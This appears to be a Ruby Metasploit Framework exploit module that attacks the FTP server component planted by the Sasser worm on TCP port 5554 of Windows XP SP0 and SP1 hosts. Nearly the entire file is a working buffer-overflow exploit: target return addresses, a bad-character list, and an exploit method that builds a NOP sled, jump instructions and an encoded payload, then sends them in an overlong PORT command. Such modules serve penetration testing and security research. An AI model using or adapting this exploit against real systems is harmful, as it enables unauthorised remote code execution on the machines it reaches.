70 lines
1.9 KiB
Ruby
70 lines
1.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow',
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'Description' => %q{
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This module exploits the FTP server component of the Sasser worm.
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By sending an overly long PORT command the stack can be overwritten.
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},
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'Author' => [ '<valsmith [at] metasploit.com>', '<chamuco [at] gmail.com>', 'patrick' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '6197'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Platform' => ['win'],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 480,
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'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
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[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
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],
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'DisclosureDate' => 'May 10 2004',
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'DefaultTarget' => 1))
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register_options(
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[
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Opt::RPORT(5554),
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
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sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)
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send_cmd( ['PORT', sploit] , false)
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handler
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disconnect
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end
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end
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